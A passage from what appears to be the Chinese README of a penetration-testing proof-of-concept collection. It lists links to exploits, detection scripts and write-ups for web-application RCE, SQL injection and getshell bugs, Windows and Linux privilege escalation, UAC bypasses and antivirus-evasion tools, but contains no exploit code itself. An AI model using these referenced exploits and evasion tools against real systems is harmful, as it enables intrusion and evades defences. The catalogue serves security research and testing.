0.8.0存在物理路径泄露漏洞](Cobub%20Razor%200.8.0存在物理路径泄露漏洞.md) - [五指CMS 4.1.0存在CSRF漏洞可增加管理员账户](五指CMS%204.1.0存在CSRF漏洞可增加管理员账户.md) - [DomainMod的XSS集合](DomainMod的XSS集合.md) - [GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户](GreenCMS%20v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户.md) - [yii2-statemachine v2.x.x存在XSS漏洞](yii2-statemachine%20v2.x.x存在XSS漏洞.md) - [maccms_v10存在CSRF漏洞可增加任意账号](maccms_v10存在CSRF漏洞可增加任意账号.md) - [LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户](LFCMS%203.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户.md) - [Finecms_v5.4存在CSRF漏洞可修改管理员账户密码](Finecms_v5.4存在CSRF漏洞可修改管理员账户密码.md) - [Amazon Kindle Fire HD (3rd Generation)内核驱动拒绝服务漏洞](Amazon%20Kindle%20Fire%20HD%20\(3rd%20Generation\)内核驱动拒绝服务漏洞.md) - [Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞](Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞.md) - [Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号](Hucart%20cms%20v5.7.4%20CSRF漏洞可任意增加管理员账号.md) - [indexhibit cms v2.1.5 直接编辑php文件getshell](indexhibit%20cms%20v2.1.5%20直接编辑php文件getshell.md) - [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md) - [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md) - [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS%205.X版本GETSHELL漏洞合集.md) - [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md) - [thinkphp5框架缺陷导致远程代码执行](thinkphp5框架缺陷导致远程代码执行.md) - [FineCMS_v5.0.8两处getshell](FineCMS_v5.0.8两处getshell.md) - [Struts2_045漏洞批量检测|搜索引擎采集扫描](Struts2_045-Poc) - [thinkphp5命令执行](thinkphp5命令执行.md) - [typecho反序列化漏洞](typecho反序列化漏洞.md) - [CVE-2019-10173 Xstream 1.4.10版本远程代码执行](CVE-2019-10173%20Xstream%201.4.10版本远程代码执行漏洞.md) - [IIS/CVE-2017-7269-Echo-PoC](./IIS/CVE-2017-7269-Echo-PoC) - [CVE-2019-15107 Webmin RCE](./CVE-2019-15107) - [thinkphp5 rce漏洞检测工具](./tp5-getshell) - [thinkphp5_RCE合集](./tp5-getshell/TP5_RCE合集.md) - [thinkphp3.X-thinkphp5.x](./tp5-getshell/ThinkPHP.md) - [关于ThinkPHP框架的历史漏洞分析集合](https://github.com/Mochazz/ThinkPHP-Vuln) - [CVE-2019-11510](./CVE-2019-11510) - [Redis(<=5.0.5) RCE](./redis-rogue-server) - [Redis 4.x/5.x RCE(主从复制导致RCE)](https://github.com/Ridter/redis-rce) - [生成Redis恶意模块so文件配合主从复制RCE达到命令执行](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)|[相关文章](https://www.freebuf.com/vuls/224235.html) - [RedisWriteFile-通过 `Redis` 主从写出无损文件,可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件](https://github.com/r35tart/RedisWriteFile) - [WeblogicScanLot系列,Weblogic漏洞批量检测工具](./WeblogicScanLot) - [jboss_CVE-2017-12149](./jboss_CVE-2017-12149) - [Wordpress的拒绝服务(DoS)-CVE-2018-6389](./CVE-2018-6389) - [Webmin Remote Code Execution (authenticated)-CVE-2019-15642](https://github.com/jas502n/CVE-2019-15642) - [CVE-2019-16131 OKLite v1.2.25 任意文件上传漏洞](./CVE-2019-16131%20OKLite%20v1.2.25%20任意文件上传漏洞.md) - [CVE-2019-16132 OKLite v1.2.25 存在任意文件删除漏洞](./CVE-2019-16132%20OKLite%20v1.2.25%20存在任意文件删除漏洞.md) - [CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞](./CVE-2019-16309%20FlameCMS%203.3.5%20后台登录处存在sql注入漏洞.md) - [CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell](./CVE-2019-16314%20indexhibit%20cms%20v2.1.5%20存在重装并导致getshell.md) - [泛微OA管理系统RCE漏洞利用脚本](./泛微OA管理系统RCE漏洞利用脚本.md) - [CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit](./CVE-2019-16759%20vBulletin%205.x%200day%20pre-auth%20RCE%20exploit.md) - [zentao-getshell 禅道8.2 - 9.2.1前台Getshell](./zentao-getshell) - [泛微 e-cology OA 前台SQL注入漏洞](./泛微%20e-cology%20OA%20前台SQL注入漏洞.md) - [Joomla-3.4.6-RCE](./Joomla-3.4.6-RCE.md) - [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md) - [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md) - [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) - [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) - [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043) - [ThinkCMF漏洞全集和](./ThinkCMF漏洞全集和.md) - [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md) - [ecologyExp.jar-泛微ecology OA系统数据库配置文件读取](./tools/ecologyExp.jar) - [freeFTP1.0.8-'PASS'远程缓冲区溢出](./freeFTP1.0.8-'PASS'远程缓冲区溢出.md) - [rConfig v3.9.2 RCE漏洞](./rConfig%20v3.9.2%20RCE漏洞.md) - [apache_solr_rce](./solr_rce.md) - [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md) - [Apache Flink任意Jar包上传导致远程代码执行](https://github.com/LandGrey/flink-unauth-rce) - [用于检测JSON接口令牌安全性测试](https://github.com/ticarpi/jwt_tool) - [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md) - [CVE-2019-12409_Apache_Solr RCE](https://github.com/jas502n/CVE-2019-12409) - [Shiro RCE (Padding Oracle Attack)](https://github.com/wuppp/shiro_rce_exp) - [CVE-2019-19634-class.upload.php <= 2.0.4任意文件上传](https://github.com/jra89/CVE-2019-19634) - [Apache Solr RCE via Velocity Template Injection](./Apache%20Solr%20RCE%20via%20Velocity%20Template%20Injection.md) - [CVE-2019-10758-mongo-express before 0.54.0 is vulnerable to Remote Code Execution ](https://github.com/masahiro331/CVE-2019-10758/) - [CVE-2019-2107-Android播放视频-RCE-POC(Android 7.0版本,7.1.1版本,7.1.2版本,8.0版本,8.1版本,9.0版本)](https://github.com/marcinguy/CVE-2019-2107) - [CVE-2019-19844-Django重置密码漏洞(受影响版本:Django master branch,Django 3.0,Django 2.2,Django 1.11)](https://github.com/ryu22e/django_cve_2019_19844_poc/) - [CVE-2019-17556-unsafe-deserialization-in-apache-olingo(Apache Olingo反序列化漏洞,影响: 4.0.0版本至4.6.0版本)](https://medium.com/bugbountywriteup/cve-2019-17556-unsafe-deserialization-in-apache-olingo-8ebb41b66817) - [ZZCMS201910 SQL Injections](./ZZCMS201910%20SQL%20Injections.md) - [WDJACMS1.5.2模板注入漏洞](./WDJACMS1.5.2模板注入漏洞.md) - [CVE-2019-19781-Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway](https://github.com/projectzeroindia/CVE-2019-19781) - [CVE-2019-19781.nse---use Nmap check Citrix ADC Remote Code Execution](https://github.com/cyberstruggle/DeltaGroup/tree/master/CVE-2019-19781) - [Mysql Client 任意文件读取攻击链拓展](https://paper.seebug.org/1112/) - [CVE-2020-5504-phpMyAdmin注入(需要登录)](https://xz.aliyun.com/t/7092) - [CVE-2020-5509-Car Rental Project 1.0版本中存在远程代码执行漏洞](https://github.com/FULLSHADE/CVE-2020-5509-POC) - [CryptoAPI PoC CVE-2020-0601](https://github.com/kudelskisecurity/chainoffools/blob/master/README.md)|[另一个PoC for CVE-2020-0601](https://github.com/ollypwn/CVE-2020-0601) - [New Weblogic RCE (CVE-2020-2546、CVE-2020-2551) CVE-2020-2546](https://mp.weixin.qq.com/s/Q-ZtX-7vt0JnjNbBmyuG0w)|[WebLogic WLS核心组件RCE分析(CVE-2020-2551)](https://www.anquanke.com/post/id/199695)|[CVE-2020-2551-Weblogic IIOP 反序列化EXP](https://github.com/Y4er/CVE-2020-2551) - [CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC](https://github.com/motikan2010/CVE-2020-5398/) - [PHPOK v5.3&v5.4getshell](https://www.anquanke.com/post/id/194453) | [phpok V5.4.137前台getshell分析](https://forum.90sec.com/t/topic/728) | [PHPOK 4.7从注入到getshell](https://xz.aliyun.com/t/1569) - [thinkphp6 session 任意文件创建漏洞复现 含POC](./books/thinkphp6%20session%20任意文件创建漏洞复现%20含POC.pdf) --- 原文在漏洞推送公众号上 - [ThinkPHP 6.x反序列化POP链(一)](./books/ThinkPHP%206.x反序列化POP链(一).pdf)|[原文链接](https://mp.weixin.qq.com/s/rEjt9zb-AksiVwF1GngFww) - [ThinkPHP 6.x反序列化POP链(二)](./books/ThinkPHP%206.x反序列化POP链(二).pdf)|[原文链接](https://mp.weixin.qq.com/s/q8Xa3triuXEB3NoeOgka1g) - [ThinkPHP 6.x反序列化POP链(三)](./books/ThinkPHP%206.x反序列化POP链(三).pdf)|[原文链接](https://mp.weixin.qq.com/s/PFNt3yF0boE5lR2KofghBg) - [WordPress InfiniteWP - Client Authentication Bypass (Metasploit)](https://www.exploit-db.com/exploits/48047) - [【Linux提权/RCE】OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution](https://www.exploit-db.com/exploits/48051) - [CVE-2020-7471-django1.11-1.11.282.2-2.2.103.0-3.0.3 StringAgg(delimiter)使用了不安全的数据会造成SQL注入漏洞环境和POC](https://github.com/Saferman/CVE-2020-7471) - [CVE-2019-17564 : Apache Dubbo反序列化漏洞](https://www.anquanke.com/post/id/198747) - [CVE-2019-2725(CNVD-C-2019-48814、WebLogic wls9-async)](https://github.com/lufeirider/CVE-2019-2725) - [YzmCMS 5.4 后台getshell](https://xz.aliyun.com/t/7231) - 关于Ghostcat(幽灵猫CVE-2020-1938漏洞):[CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc](https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC)|[Java版本POC](https://github.com/0nise/CVE-2020-1938)|[Tomcat-Ajp协议文件读取漏洞](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/)|[又一个python版本CVE-2020-1938漏洞检测](https://github.com/xindongzhuaizhuai/CVE-2020-1938)|[CVE-2020-1938-漏洞复现环境及EXP](https://github.com/laolisafe/CVE-2020-1938) - [CVE-2020-8840:Jackson-databind远程命令执行漏洞(或影响fastjson)](https://github.com/jas502n/CVE-2020-8840) - [CVE-2020-8813-Cacti v1.2.8 RCE远程代码执行 EXP以及分析(需要认证/或开启访客即可不需要登录)(一款Linux是基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)|[EXP](./CVE-2020-8813%20-%20Cacti%20v1.2.8%20RCE.md)|[CVE-2020-8813MSF利用脚本](https://www.exploit-db.com/exploits/48159) - [CVE-2020-7246-PHP项目管理系统qdPM< 9.1 RCE](https://www.exploit-db.com/exploits/48146) - [CVE-2020-9547:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9547) - [CVE-2020-9548:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9548) - [Apache ActiveMQ 5.11.1目录遍历/ Shell上传](https://cxsecurity.com/issue/WLB-2020030033) - [CVE-2020-2555:WebLogic RCE漏洞POC](https://mp.weixin.qq.com/s/Wq6Fu-NlK8lzofLds8_zoA)|[CVE-2020-2555-Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE](https://github.com/Y4er/CVE-2020-2555) - [CVE-2020-1947-Apache ShardingSphere UI YAML解析远程代码执行漏洞](https://github.com/jas502n/CVE-2020-1947) - [CVE-2020-0554:phpMyAdmin后台SQL注入](./CVE-2020-0554:phpMyAdmin后台SQL注入.md) - [泛微E-Mobile Ognl 表达式注入](./泛微e-mobile%20ognl注入.md)|[表达式注入.pdf](./books/表达式注入.pdf) - [通达OA RCE漏洞](https://github.com/fuhei/tongda_rce)|[通达OAv11.6版本RCE复现分析+EXP](./books/通达OAv11.6版本漏洞复现分析.pdf)-[EXP下载](./tools/通达OA_v11.6_RCE_EXP.py) - [CVE-2020-10673-jackson-databind JNDI注入导致远程代码执行](https://github.com/0nise/vuldebug) - [CVE-2020-10199、CVE-2020-10204漏洞一键检测工具,图形化界面(Sonatype Nexus <3.21.1)](https://github.com/magicming200/CVE-2020-10199_CVE-2020-10204) - [CVE-2020-2555-Oracle Coherence 反序列化漏洞](https://github.com/wsfengfan/CVE-2020-2555)|[分析文章](https://paper.seebug.org/1141/) - [cve-2020-5260-Git凭证泄露漏洞](https://github.com/brompwnie/cve-2020-5260) - [通达OA前台任意用户伪造登录漏洞批量检测](./通达OA前台任意用户伪造登录漏洞批量检测.md) - [CVE-2020-11890 JoomlaRCE <3.9.17 远程命令执行漏洞(需要有效的账号密码)](https://github.com/HoangKien1020/CVE-2020-11890) - [CVE-2020-10238【JoomlaRCE <= 3.9.15 远程命令执行漏洞(需要有效的账号密码)】&CVE-2020-10239【JoomlaRCE 3.7.0 to 3.9.15 远程命令执行漏洞(需要有效的账号密码)】](https://github.com/HoangKien1020/CVE-2020-10238) - [CVE-2020-2546,CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 payload exploit poc python3](https://github.com/hktalent/CVE_2020_2546)|[CVE-2020-2883-Weblogic coherence.jar RCE](https://github.com/Y4er/CVE-2020-2883)|[WebLogic-Shiro-shell-WebLogic利用CVE-2020-2883打Shiro rememberMe反序列化漏洞,一键注册filter内存shell](https://github.com/Y4er/WebLogic-Shiro-shell) - [tongda_oa_rce-通达oa 越权登录+文件上传getshell](https://github.com/clm123321/tongda_oa_rce) - [CVE-2020-11651-SaltStack Proof of Concept【认证绕过RCE漏洞】](https://github.com/0xc0d/CVE-2020-11651)|[CVE-2020-11651&&CVE-2020-11652 EXP](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP) - [showdoc的api_page存在任意文件上传getshell](./showdoc的api_page存在任意文件上传getshell.md) - [Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法](https://github.com/CaijiOrz/fastjson-1.2.47-RCE) - [SpringBoot_Actuator_RCE](https://github.com/jas502n/SpringBoot_Actuator_RCE) - [jizhicms(极致CMS)v1.7.1代码审计-任意文件上传getshell+sql注入+反射XSS](./books/jizhicms(极致CMS)v1.7.1代码审计引发的思考.pdf) - [CVE-2020-9484:Apache Tomcat Session 反序列化代码执行漏洞](./tools/CVE-2020-9484.tgz)|[CVE-2020-9484:Apache Tomcat 反序列化RCE漏洞的分析和利用](https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/) - [PHPOK 最新版漏洞组合拳 GETSHELL](./books/PHPOK最新版漏洞组合拳GETSHELL.pdf) - [Apache Kylin 3.0.1命令注入漏洞](https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706) - [weblogic T3 collections java InvokerTransformer Transformer InvokerTransformer weblogic.jndi.WLInitialContextFactory](https://github.com/hktalent/weblogic_java_des) - [CVE-2020-5410 Spring Cloud Config目录穿越漏洞](https://xz.aliyun.com/t/7877) - [NewZhan CMS 全版本 SQL注入(0day)](./books/NewZhan%20CMS%20全版本%20SQL注入(0day).pdf) - [盲注 or 联合?记一次遇见的奇葩注入点之SEMCMS3.9(0day)](./books/盲注%20or%20联合?记一次遇见的奇葩注入点之SEMCMS3.9(0day).pdf) - [从PbootCMS(2.0.3&2.0.7前台RCE+2.0.8后台RCE)审计到某狗绕过](./books/从PbootCMS(2.0.3&2.0.7前台RCE+2.0.8后台RCE)审计到某狗绕过.pdf) - [CVE-2020-1948 : Apache Dubbo 远程代码执行漏洞](https://github.com/ctlyz123/CVE-2020-1948) - [CVE-2020-5902-F5 BIG-IP 远程代代码执行(RCE)&任意文件包含读取](https://github.com/jas502n/CVE-2020-5902)|[CVE-2020-5902又一EXP加测试docker文件](https://github.com/superzerosec/cve-2020-5902) - [CVE-2020-8193-Citrix未授权访问任意文件读取](https://github.com/jas502n/CVE-2020-8193) - [通读审计之天目MVC_T框架带Home版(temmokumvc)_v2.01](./books/通读审计之天目MVC_T框架带Home版(temmokumvc)_v2.01.pdf) - [CVE-2020-14645-WebLogic 远程代码执行漏洞](https://github.com/Y4er/CVE-2020-14645)|[Weblogic_CVE-2020-14645](https://github.com/DSO-Lab/Weblogic_CVE-2020-14645) - [CVE-2020-6287-SAP NetWeaver AS JAVA 授权问题漏洞-创建用户EXP](https://github.com/duc-nt/CVE-2020-6287-exploit)|[SAP_RECON-PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)](https://github.com/chipik/SAP_RECON) - [CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029-jenkins-rce](https://github.com/orangetw/awesome-jenkins-rce-2019) - [CVE-2020-3452:Cisco ASA/FTD 任意文件读取漏洞](./CVE-2020-3452:Cisco_ASAFTD任意文件读取漏洞.md) - [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf) - [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163) - [【0day RCE】Horde Groupware Webmail Edition RCE](./%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md) - [pulse-gosecure-rce-Tool to test for existence of CVE-2020-8218](https://github.com/withdk/pulse-gosecure-rce-poc) - [Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)](https://github.com/BishopFox/pwn-pulse) - [Zblog默认Theme_csrf+储存xss+getshell](./Zblog默认Theme_csrf+储存xss+getshell.md) - [用友GRP-u8 注入+天融信TopApp-LB 负载均衡系统sql注入](https://mrxn.net/Infiltration/292.html)|[绿盟UTS综合威胁探针管理员任意登录复现](https://mrxn.net/Infiltration/276.html)|[HW弹药库之深信服EDR 3.2.21 任意代码执行漏洞分析](https://mrxn.net/jswz/267.html) ## <span id="head5"> 提权辅助相关</span> - [windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits) - [windows 溢出提权小记](https://klionsec.github.io/2017/04/22/win-0day-privilege/)/[本地保存了一份+Linux&Windows提取脑图](./tools/Local%20Privilege%20Escalation.md) - [Windows常见持久控制脑图](./tools/Windows常见持久控制.png) - [CVE-2019-0803 Win32k漏洞提权工具](./CVE-2019-0803) - [脏牛Linux提权漏洞](https://github.com/Brucetg/DirtyCow-EXP) - [远控免杀从入门到实践之白名单(113个)](https://github.com/TideSec/BypassAntiVirus)|[远控免杀从入门到实践之白名单(113个)总结篇.pdf](./books/远控免杀从入门到实践之白名单(113个)总结篇.pdf) - [Linux提权-CVE-2019-13272 A linux kernel Local Root Privilege Escalation vulnerability with PTRACE_TRACEME](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272-aarch64) - [Linux权限提升辅助一键检测工具](https://github.com/mzet-/linux-exploit-suggester) - [将powershell脚本直接注入到进程中执行来绕过对powershell.exe的限制](https://github.com/EmpireProject/PSInject) - [CVE-2020-2696 – Local privilege escalation via CDE dtsession](https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtsession_ipa.c) - [CVE-2020-0683-利用Windows MSI “Installer service”提权](https://github.com/padovah4ck/CVE-2020-0683/) - [Linux sudo提权辅助工具—查找sudo权限配置漏洞](https://github.com/TH3xACE/SUDO_KILLER) - [Windows提权-CVE-2020-0668:Windows Service Tracing本地提权漏洞](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668) - [Linux提取-Linux kernel XFRM UAF poc (3.x - 5.x kernels)2020年1月前没打补丁可测试](https://github.com/duasynt/xfrm_poc) - [linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits) - [Linux提权辅助检测Perl脚本](https://github.com/jondonas/linux-exploit-suggester-2)|[Linux提权辅助检测bash脚本](https://github.com/mzet-/linux-exploit-suggester) - [CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost](https://github.com/danigargu/CVE-2020-0796)|[【Windows提取】Windows SMBv3 LPE exploit 已编译版.exe](https://github.com/f1tz/CVE-2020-0796-LPE-EXP)|[SMBGhost_RCE_PoC-远程代码执行EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)|[Windows_SMBv3_RCE_CVE-2020-0796漏洞复现](./books/Windows_SMBv3_RCE_CVE-2020-0796漏洞复现.pdf) - [getAV---windows杀软进程对比工具单文件版](./tools/getAV/) - [【Windows提权工具】Windows 7 to Windows 10 / Server 2019](https://github.com/CCob/SweetPotato)|[搭配CS的修改版可上线system权限的session](https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato) - [【Windows提权工具】SweetPotato修改版,用于webshell下执行命令](https://github.com/uknowsec/SweetPotato)|[本地编译好的版本](./tools/SweetPotato.zip)|[点击下载或右键另存为](https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/SweetPotato.zip)|[SweetPotato_webshell下执行命令版.pdf](./books/SweetPotato_webshell下执行命令版.pdf) - [【bypass UAC】Windows 8.1 and 10 UAC bypass abusing WinSxS in "dccw.exe"](https://github.com/L3cr0f/DccwBypassUAC/) - [【Windows提权】CVE-2018-8120 Exploit for Win2003 Win2008 WinXP Win7](https://github.com/alpha1ab/CVE-2018-8120) - [【Windows提权 Windows 10&Server 2019】PrintSpoofer-Abusing Impersonation Privileges on Windows 10 and Server 2019](https://github.com/itm4n/PrintSpoofer)|[配合文章食用-pipePotato复现](./books/pipePotato复现.pdf)|[Windows 权限提升 BadPotato-已经在Windows 2012-2019 8-10 全补丁测试成功](https://github.com/BeichenDream/BadPotato) - [【Windows提权】Windows 下的提权大合集](https://github.com/lyshark/Windows-exploits) - [【Windows提权】-CVE-2020-1048 | PrintDemon本地提权漏洞-漏洞影响自1996年以来发布(Windows NT 4)的所有Windows版本](https://github.com/ionescu007/PrintDemon) - [【Windows bypass UAC】UACME-一种集成了60多种Bypass UAC的方法](https://github.com/hfiref0x/UACME) - [CVE-2020–1088: Windows wersvc.dll 任意文件删除本地提权漏洞分析](https://medium.com/csis-techblog/cve-2020-1088-yet-another-arbitrary-delete-eop-a00b97d8c3e2) - [【Windows提权】CVE-2019-0863-Windows中错误报告机制导致的提权-EXP](https://github.com/sailay1996/WerTrigger) - [【Windows提权】CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP) - [【Windows提权】CVE-2020-0787-EXP-ALL-WINDOWS-VERSION-适用于Windows所有版本的提权EXP](https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION) - [【Windows提权】CVE-2020-1054-Win32k提权漏洞Poc](https://github.com/0xeb-bp/cve-2020-1054)|[CVE-2020-1054-POC](https://github.com/Iamgublin/CVE-2020-1054) - [【Linux提权】对Linux提权的简单总结](./books/对Linux提权的简单总结.pdf) - [【Windows提权】wesng-Windows提权辅助脚本](https://github.com/bitsadmin/wesng) - [【Windows提权】dazzleUP是一款用来帮助渗透测试人员进行权限提升的工具,可以在window系统中查找脆弱面进行攻击。工具包括两部分检查内容,exploit检查和错误配置检查。](https://github.com/hlldz/dazzleUP) ## <span id="head6"> PC</span> - [ 微软RDP远程代码执行漏洞(CVE-2019-0708)](./BlueKeep) - [CVE-2019-0708-python版](./BlueKeep/bluekeep-CVE-2019-0708-python) - [MS17-010-微软永恒之蓝漏洞](https://github.com/Mr-xn/MS17-010) - [macOS-Kernel-Exploit](./macOS-Kernel-Exploit) - [CVE-2019-1388 UAC提权 (nt authority\system)](https://github.com/jas502n/CVE-2019-1388) - [CVE-2019-1405和CVE-2019-1322:通过组合漏洞进行权限提升 Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation](https://github.com/apt69/COMahawk) - [CVE-2019-11708](https://github.com/0vercl0k/CVE-2019-11708) - [Telegram(macOS v4.9.155353) 代码执行漏洞](https://github.com/Metnew/telegram-links-nsworkspace-open) - [Remote Desktop Gateway RCE bugs CVE-2020-0609 & CVE-2020-0610](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) - [Microsoft SharePoint - Deserialization Remote Code Execution](https://github.com/Voulnet/desharialize/blob/master/desharialize.py) - [CVE-2020-0728-Windows Modules Installer Service 信息泄露漏洞](https://github.com/irsl/CVE-2020-0728/) - [CVE-2020-0618: 微软 SQL Server Reporting Services远程代码执行(RCE)漏洞](https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/)|[GitHub验证POC(其实前文的分析文章也有)](https://github.com/euphrat1ca/CVE-2020-0618) - [CVE-2020-0767Microsoft ChakraCore脚本引擎【Edge浏览器中的一个开源的ChakraJavaScript脚本引擎的核心部分】安全漏洞](https://github.com/phoenhex/files/blob/master/pocs/cve-2020-0767.js) - [CVE-2020-0688:微软EXCHANGE服务的远程代码执行漏洞](https://github.com/random-robbie/cve-2020-0688)|[CVE-2020-0688_EXP---另一个漏洞检测利用脚本](https://github.com/Yt1g3r/CVE-2020-0688_EXP)|[又一个cve-2020-0688利用脚本](https://github.com/Ridter/cve-2020-0688)|[Exploit and detect tools for CVE-2020-0688](https://github.com/zcgonvh/CVE-2020-0688) - [CVE-2020-0674: Internet Explorer远程代码执行漏洞检测](https://github.com/binaryfigments/CVE-2020-0674) - [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./CVE-2020-8794-OpenSMTPD%20远程命令执行漏洞.md) - [Linux平台-CVE-2020-8597: PPPD 远程代码执行漏洞](https://github.com/marcinguy/CVE-2020-8597) - [Windows-CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞](https://cert.360.cn/warning/detail?id=04f6a686db24fcfa478498f55f3b79ef)|[相关讨论](https://linustechtips.com/main/topic/1163724-smbv3-remote-code-execution-cve-2020-0796/)|[CVE-2020–0796检测与修复](CVE-2020-0796检测与修复.md)|[又一个CVE-2020-0796的检测工具-可导致目标系统崩溃重启](https://github.com/eerykitty/CVE-2020-0796-PoC) - [SMBGhost_RCE_PoC(CVE-2020-0796)](https://github.com/chompie1337/SMBGhost_RCE_PoC) - [WinRAR 代码执行漏洞 (CVE-2018-20250)-POC](https://github.com/Ridter/acefile)|[相关文章](https://research.checkpoint.com/2019/extracting-code-execution-from-winrar/)|[全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250)](https://xlab.tencent.com/cn/2019/02/22/investigating-winrar-code-execution-vulnerability-cve-2018-20250-at-internet-scale/) - [windows10相关漏洞EXP&POC](https://github.com/nu11secur1ty/Windows10Exploits) - [shiro rce 反序列 命令执行 一键工具](https://github.com/wyzxxz/shiro_rce) - [CVE-2019-1458-Win32k中的特权提升漏洞【shell可用-Windows提取】](https://github.com/unamer/CVE-2019-1458) - [CVE-2019-1253-Windows权限提升漏洞-AppXSvc任意文件安全描述符覆盖EoP的另一种poc](https://github.com/sgabe/CVE-2019-1253)|[CVE-2019-1253](https://github.com/padovah4ck/CVE-2019-1253) - [BypassAV【免杀】Cobalt Strike插件,用于快速生成免杀的可执行文件](https://github.com/hack2fun/BypassAV) - [CVE-2020-0674:Internet Explorer UAF 漏洞exp【在64位的win7测试了IE 8, 9, 10, and 11】](https://github.com/maxpl0it/CVE-2020-0674-Exploit) - [SMBGhost_AutomateExploitation-SMBGhost (CVE-2020-0796) Automate Exploitation and Detection](https://github.com/Barriuso/SMBGhost_AutomateExploitation) - [MS Windows OLE 远程代码执行漏洞(CVE-2020-1281)](https://github.com/guhe120/Windows-EoP/tree/master/CVE-2020-1281) - [CVE-2020-1350-Windows的DNS服务器RCE检测的powershell脚本](https://github.com/T13nn3s/CVE-2020-1350)|[CVE-2020-1350-DoS](https://github.com/maxpl0it/CVE-2020-1350-DoS) - [CVE-2020-1362-Microsoft Windows WalletService权限提升漏洞](https://github.com/Q4n/CVE-2020-1362) - [CVE-2020-10713-GRUB2 本地代码执行漏洞](https://github.com/eclypsium/BootHole) - [CVE-2020-1313-Microsoft Windows Update Orchestrator Service权限提升漏洞,可用于Windows提权操作,支持新版的Windows server 2004](https://github.com/irsl/CVE-2020-1313) - [CVE-2020-1337-exploit-Windows 7/8/10上Print Spooler组件漏洞修复后的绕过](https://github.com/math1as/CVE-2020-1337-exploit/)|[cve-2020-1337-poc](https://github.com/sailay1996/cve-2020-1337-poc) - [CVE-2020-1472: 